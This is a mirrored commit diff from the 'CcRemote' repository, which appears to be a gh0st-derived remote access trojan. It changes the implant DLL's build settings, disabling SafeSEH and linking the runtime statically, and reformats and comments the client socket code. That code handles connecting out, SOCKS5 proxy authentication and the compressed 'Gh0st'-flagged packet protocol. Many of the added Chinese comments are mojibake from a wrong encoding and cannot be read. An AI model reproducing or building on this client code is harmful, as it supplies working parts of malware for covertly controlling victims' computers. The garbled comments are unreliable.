mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-08-03 16:06:49 +00:00
添加了一些注释和调整一些代码,变化不大
This commit is contained in:
Binary file not shown.
@@ -91,12 +91,14 @@
|
|||||||
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<EnableUAC>false</EnableUAC>
|
<EnableUAC>false</EnableUAC>
|
||||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
@@ -108,12 +110,14 @@
|
|||||||
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<EnableUAC>false</EnableUAC>
|
<EnableUAC>false</EnableUAC>
|
||||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -127,6 +131,7 @@
|
|||||||
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -149,6 +154,7 @@
|
|||||||
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
<PreprocessorDefinitions>NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
<ConformanceMode>true</ConformanceMode>
|
<ConformanceMode>true</ConformanceMode>
|
||||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<Link>
|
<Link>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
@@ -157,6 +163,7 @@
|
|||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
<EnableUAC>false</EnableUAC>
|
<EnableUAC>false</EnableUAC>
|
||||||
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
@@ -2,7 +2,6 @@
|
|||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
//#include "StdAfx.h"
|
|
||||||
#include "ClientSocket.h"
|
#include "ClientSocket.h"
|
||||||
#include "../../common/zlib/zlib.h"
|
#include "../../common/zlib/zlib.h"
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
@@ -16,10 +15,10 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
int CClientSocket::m_nProxyType = PROXY_NONE;
|
int CClientSocket::m_nProxyType = PROXY_NONE;
|
||||||
char CClientSocket::m_strProxyHost[256] = {0};
|
char CClientSocket::m_strProxyHost[256] = { 0 };
|
||||||
UINT CClientSocket::m_nProxyPort = 1080;
|
UINT CClientSocket::m_nProxyPort = 1080;
|
||||||
char CClientSocket::m_strUserName[256] = {0};
|
char CClientSocket::m_strUserName[256] = { 0 };
|
||||||
char CClientSocket::m_strPassWord[256] = {0};
|
char CClientSocket::m_strPassWord[256] = { 0 };
|
||||||
|
|
||||||
CClientSocket::CClientSocket()
|
CClientSocket::CClientSocket()
|
||||||
{
|
{
|
||||||
@@ -30,7 +29,7 @@ CClientSocket::CClientSocket()
|
|||||||
m_bIsRunning = false;
|
m_bIsRunning = false;
|
||||||
m_Socket = INVALID_SOCKET;
|
m_Socket = INVALID_SOCKET;
|
||||||
// Packet Flag;
|
// Packet Flag;
|
||||||
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD>gh0st<73><74><EFBFBD>ض˵<D8B6>ʱ<EFBFBD><CAB1><EFBFBD>Ҿ<EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB>
|
||||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||||
}
|
}
|
||||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
@@ -54,8 +53,8 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
|||||||
Disconnect();
|
Disconnect();
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ResetEvent(m_hEvent);
|
ResetEvent(m_hEvent);
|
||||||
m_bIsRunning = false;
|
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||||
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
|
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
|
||||||
return false;
|
return false;
|
||||||
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||||
@@ -86,10 +85,10 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
|
|||||||
|
|
||||||
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
|
||||||
return false;
|
return false;
|
||||||
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
// <20><><EFBFBD><EFBFBD>Nagle<6C>㷨<EFBFBD>Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||||
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
|
||||||
// const char chOpt = 1;
|
// const char chOpt = 1;
|
||||||
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
|
||||||
|
|
||||||
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
|
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
|
||||||
@@ -160,14 +159,14 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
recv(m_Socket, buff, sizeof(buff), 0);
|
recv(m_Socket, buff, sizeof(buff), 0);
|
||||||
if(m_proxyans1->Ver != 5 || (m_proxyans1->Method !=0 && m_proxyans1->Method != 2))
|
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
|
||||||
{
|
{
|
||||||
closesocket(m_Socket);
|
closesocket(m_Socket);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if(m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
|
||||||
{
|
{
|
||||||
int nUserLen = strlen(m_strUserName);
|
int nUserLen = strlen(m_strUserName);
|
||||||
int nPassLen = strlen(m_strPassWord);
|
int nPassLen = strlen(m_strPassWord);
|
||||||
@@ -198,7 +197,7 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
|||||||
}
|
}
|
||||||
|
|
||||||
recv(m_Socket, buff, sizeof(buff), 0);
|
recv(m_Socket, buff, sizeof(buff), 0);
|
||||||
if(m_authans->Ver != 5 || m_authans->Status != 0)
|
if (m_authans->Ver != 5 || m_authans->Status != 0)
|
||||||
{
|
{
|
||||||
closesocket(m_Socket);
|
closesocket(m_Socket);
|
||||||
return false;
|
return false;
|
||||||
@@ -214,7 +213,7 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
|||||||
m_proxyreq2.Cmd = 1;
|
m_proxyreq2.Cmd = 1;
|
||||||
m_proxyreq2.Rsv = 0;
|
m_proxyreq2.Rsv = 0;
|
||||||
m_proxyreq2.Atyp = 1;
|
m_proxyreq2.Atyp = 1;
|
||||||
m_proxyreq2.IPAddr = * (ULONG*) pHostent->h_addr_list[0];
|
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
|
||||||
m_proxyreq2.Port = ntohs(nPort);
|
m_proxyreq2.Port = ntohs(nPort);
|
||||||
|
|
||||||
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
|
||||||
@@ -233,7 +232,7 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
|||||||
}
|
}
|
||||||
|
|
||||||
recv(m_Socket, buff, sizeof(buff), 0);
|
recv(m_Socket, buff, sizeof(buff), 0);
|
||||||
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
|
||||||
{
|
{
|
||||||
closesocket(m_Socket);
|
closesocket(m_Socket);
|
||||||
return false;
|
return false;
|
||||||
@@ -242,20 +241,21 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
|
||||||
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CClientSocket *pThis = (CClientSocket *)lparam;
|
CClientSocket *pThis = (CClientSocket *)lparam;
|
||||||
char buff[MAX_RECV_BUFFER];
|
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
|
||||||
fd_set fdSocket;
|
fd_set fdSocket;
|
||||||
FD_ZERO(&fdSocket);
|
FD_ZERO(&fdSocket);
|
||||||
FD_SET(pThis->m_Socket, &fdSocket);
|
FD_SET(pThis->m_Socket, &fdSocket);
|
||||||
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
|
||||||
{
|
{
|
||||||
fd_set fdRead = fdSocket;
|
fd_set fdRead = fdSocket;
|
||||||
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (nRet == SOCKET_ERROR)
|
if (nRet == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
pThis->Disconnect();
|
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (nRet > 0)
|
if (nRet > 0)
|
||||||
@@ -284,7 +284,9 @@ bool CClientSocket::IsRunning()
|
|||||||
return m_bIsRunning;
|
return m_bIsRunning;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -324,9 +326,9 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
|||||||
int nUnCompressLength = 0;
|
int nUnCompressLength = 0;
|
||||||
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
// Read off header
|
// Read off header
|
||||||
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
|
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
|
||||||
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
|
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
|
||||||
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
|
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
|
||||||
////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////
|
||||||
////////////////////////////////////////////////////////
|
////////////////////////////////////////////////////////
|
||||||
// SO you would process your data here
|
// SO you would process your data here
|
||||||
@@ -356,13 +358,14 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
|||||||
else
|
else
|
||||||
throw "bad buffer";
|
throw "bad buffer";
|
||||||
|
|
||||||
delete [] pData;
|
delete[] pData;
|
||||||
delete [] pDeCompressionData;
|
delete[] pDeCompressionData;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}catch(...)
|
}
|
||||||
|
catch (...)
|
||||||
{
|
{
|
||||||
m_CompressionBuffer.ClearBuffer();
|
m_CompressionBuffer.ClearBuffer();
|
||||||
Send(NULL, 0);
|
Send(NULL, 0);
|
||||||
@@ -370,27 +373,46 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
void CClientSocket::Disconnect()
|
void CClientSocket::Disconnect()
|
||||||
{
|
{
|
||||||
//
|
|
||||||
// If we're supposed to abort the connection, set the linger value
|
// If we're supposed to abort the connection, set the linger value
|
||||||
// on the socket to 0.
|
// on the socket to 0.
|
||||||
//
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
|
||||||
LINGER lingerStruct;
|
LINGER lingerStruct;
|
||||||
lingerStruct.l_onoff = 1;
|
lingerStruct.l_onoff = 1;
|
||||||
lingerStruct.l_linger = 0;
|
lingerStruct.l_linger = 0;
|
||||||
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
|
/*<2A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
|
setsockopt(
|
||||||
|
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
|
||||||
|
int option_name, // option_nameָ<65><D6B8><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
|
||||||
|
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
|
||||||
|
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65>ṹ<EFBFBD><E1B9B9>
|
||||||
|
struct linger {
|
||||||
|
int l_onoff;
|
||||||
|
int l_linger;
|
||||||
|
};
|
||||||
|
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
|
||||||
|
const void *option_value, //LINGER<45>ṹ
|
||||||
|
size_t ption_len //LINGER<45><52>С
|
||||||
|
);
|
||||||
|
*/
|
||||||
|
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
|
||||||
|
|
||||||
CancelIo((HANDLE) m_Socket);
|
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
CancelIo((HANDLE)m_Socket);
|
||||||
|
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
|
||||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||||
closesocket(m_Socket);
|
closesocket(m_Socket);
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||||
SetEvent(m_hEvent);
|
SetEvent(m_hEvent);
|
||||||
|
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
m_Socket = INVALID_SOCKET;
|
m_Socket = INVALID_SOCKET;
|
||||||
}
|
}
|
||||||
|
|
||||||
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
|
||||||
{
|
{
|
||||||
|
|
||||||
m_WriteBuffer.ClearBuffer();
|
m_WriteBuffer.ClearBuffer();
|
||||||
@@ -408,7 +430,7 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
|||||||
|
|
||||||
if (nRet != Z_OK)
|
if (nRet != Z_OK)
|
||||||
{
|
{
|
||||||
delete [] pDest;
|
delete[] pDest;
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -417,12 +439,12 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
|||||||
// 5 bytes packet flag
|
// 5 bytes packet flag
|
||||||
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
|
||||||
// 4 byte header [Size of Entire Packet]
|
// 4 byte header [Size of Entire Packet]
|
||||||
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
|
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
